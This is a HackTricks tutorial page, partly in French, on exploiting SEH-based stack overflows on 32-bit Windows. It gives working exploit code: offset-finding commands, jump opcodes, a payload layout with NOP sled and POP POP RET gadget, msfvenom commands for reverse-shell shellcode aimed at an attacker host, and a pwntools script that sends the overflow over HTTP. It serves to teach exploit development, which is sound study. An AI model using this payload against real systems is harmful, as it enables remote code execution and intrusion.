Windows SEH-based Stack Overflow Exploitation (nSEH/SEH)
Reading time: 7 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
SEH-based exploitation est une technique classique sur Windows x86 qui abuse de la chaßne Structured Exception Handler stockée sur la pile. Quand un débordement de tampon sur la pile écrase les deux champs de 4 octets suivants
- nSEH: pointer to the next SEH record, and
- SEH: pointer to the exception handler function
un attaquant peut prendre le contrÎle de l'exécution en :
- Mettre SEH à l'adresse d'un gadget POP POP RET dans un module non protégé, de sorte que lorsque une exception est déclenchée le gadget renvoie l'exécution vers des octets contrÎlés par l'attaquant, et
- Utiliser nSEH pour rediriger l'exĂ©cution (typiquement un saut court) vers l'intĂ©rieur du grand buffer dĂ©bordant oĂč rĂ©side le shellcode.
Cette technique est spécifique aux processus 32-bit (x86). Sur les systÚmes modernes, privilégiez un module sans SafeSEH et sans ASLR pour le gadget. Les bad characters incluent souvent 0x00, 0x0a, 0x0d (NUL/CR/LF) en raison des C-strings et du parsing HTTP.
Finding exact offsets (nSEH / SEH)
- Faites planter le processus et vérifiez que la chaßne SEH est écrasée (par ex., dans x32dbg/x64dbg, vérifiez la vue SEH).
- Envoyez un cyclic pattern comme données débordantes et calculez les offsets des deux dwords qui atterrissent dans nSEH et SEH.
Exemple avec peda/GEF/pwntools sur un corps POST de 1000 octets:
# generate pattern (any tool is fine)
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000
# or
python3 -c "from pwn import *; print(cyclic(1000).decode())"
# after crash, note the two 32-bit values from SEH view and compute offsets
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x32424163 # nSEH
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 1000 -q 0x41484241 # SEH
# â offsets example: nSEH=660, SEH=664
Validez en plaçant des marqueurs à ces positions (par ex., nSEH=b"BB", SEH=b"CC"). Gardez la longueur totale constante pour rendre le crash reproductible.
Choisir un POP POP RET (SEH gadget)
Vous avez besoin d'une séquence POP POP RET pour dérouler la frame SEH et revenir dans vos octets nSEH. Trouvez-la dans un module sans SafeSEH et de préférence sans ASLR:
- Mona (Immunity/WinDbg):
!mona modules
then!mona seh -m modulename
. - x64dbg plugin ERC.Xdbg:
ERC --SEH
to list POP POP RET gadgets and SafeSEH status.
Choisissez une adresse qui ne contient pas de badchars lorsqu'elle est écrite en little-endian (par ex., p32(0x004094D8)
). Préférez des gadgets à l'intérieur du binaire vulnérable si les protections le permettent.
Technique jump-back (short + near jmp)
nSEH ne fait que 4 octets, ce qui accepte au plus un short jump de 2 octets (EB xx
) plus du padding. Si vous devez revenir de plusieurs centaines d'octets pour atteindre le début de votre buffer, utilisez un near jump de 5 octets placé juste avant nSEH et enchaßnez dessus avec un short jump depuis nSEH.
With nasmshell:
nasm> jmp -660 ; too far for short; near jmp is 5 bytes
E967FDFFFF
nasm> jmp short -8 ; 2-byte short jmp fits in nSEH (with 2 bytes padding)
EBF6
nasm> jmp -652 ; 8 bytes closer (to account for short-jmp hop)
E96FFDFFFF
Idée d'agencement pour un payload de 1000 bytes avec nSEH à offset 660:
buffer_length = 1000
payload = b"\x90"*50 + shellcode # NOP sled + shellcode at buffer start
payload += b"A" * (660 - 8 - len(payload)) # pad so we are 8 bytes before nSEH
payload += b"\xE9\x6F\xFD\xFF\xFF" + b"EEE" # near jmp -652 (5B) + 3B padding
payload += b"\xEB\xF6" + b"BB" # nSEH: short jmp -8 + 2B pad
payload += p32(0x004094D8) # SEH: POP POP RET (no badchars)
payload += b"D" * (buffer_length - len(payload))
Execution flow:
- Une exception se produit, le dispatcher utilise le SEH écrasé.
- POP POP RET déroule vers notre nSEH.
- nSEH exécute
jmp short -8
vers le near jump de 5 octets. - Le near jump aboutit au dĂ©but de notre buffer oĂč rĂ©sident le NOP sled + shellcode.
Bad characters
Construisez une chaßne complÚte de badchar et comparez la mémoire stack aprÚs le crash, en retirant les octets qui sont corrompus par le parser cible. Pour les overflows basés sur HTTP, \x00\x0a\x0d
sont presque toujours exclus.
badchars = bytes([x for x in range(1,256)])
payload = b"A"*660 + b"BBBB" + b"CCCC" + badchars # position appropriately for your case
Shellcode generation (x86)
Utilisez msfvenom avec vos badchars. Un petit NOP sled aide à tolérer les variations d'atterrissage.
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
-b "\x00\x0a\x0d" -f python -v sc
Si vous générez à la volée, le format hex est pratique pour embed et unhex en Python :
msfvenom -a x86 --platform windows -p windows/shell_reverse_tcp LHOST=<LHOST> LPORT=<LPORT> \
-b "\x00\x0a\x0d" -f hex
Envoi via HTTP (CRLF précis + Content-Length)
Lorsque le vecteur vulnĂ©rable est le corps d'une requĂȘte HTTP, crĂ©ez une raw request avec des CRLFs prĂ©cis et un Content-Length exact afin que le serveur lise l'intĂ©gralitĂ© du corps dĂ©bordant.
# pip install pwntools
from pwn import remote
host, port = "<TARGET_IP>", 8080
body = b"A" * 1000 # replace with the SEH-aware buffer above
req = f"""POST / HTTP/1.1
Host: {host}:{port}
User-Agent: curl/8.5.0
Accept: */*
Content-Length: {len(body)}
Connection: close
""".replace('\n','\r\n').encode() + body
p = remote(host, port)
p.send(req)
print(p.recvall(timeout=0.5))
p.close()
Outils
- x32dbg/x64dbg pour observer la chaĂźne SEH et analyser le crash.
- ERC.Xdbg (plugin pour x64dbg) pour énumérer les SEH gadgets :
ERC --SEH
. - Mona en alternative :
!mona modules
,!mona seh
. - nasmshell pour assembler des short/near jumps et copier les opcodes bruts.
- pwntools pour fabriquer des payloads réseau précis.
Notes et mises en garde
- S'applique uniquement aux processus x86. x64 utilise un schéma SEH différent et l'exploitation basée sur SEH n'est généralement pas viable.
- Privilégier les gadgets dans des modules sans SafeSEH ni ASLR ; sinon, trouver un module non protégé chargé dans le processus.
- Les watchdogs de service qui redémarrent automatiquement aprÚs un crash peuvent faciliter le développement itératif d'exploits.
Références
- HTB: Rainbow â SEH overflow to RCE over HTTP (0xdf)
- ERC.Xdbg â Exploit Research Plugin for x64dbg (SEH search)
- Corelan â Exploit writing tutorial part 7 (SEH)
- Mona.py â WinDbg/Immunity helper
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.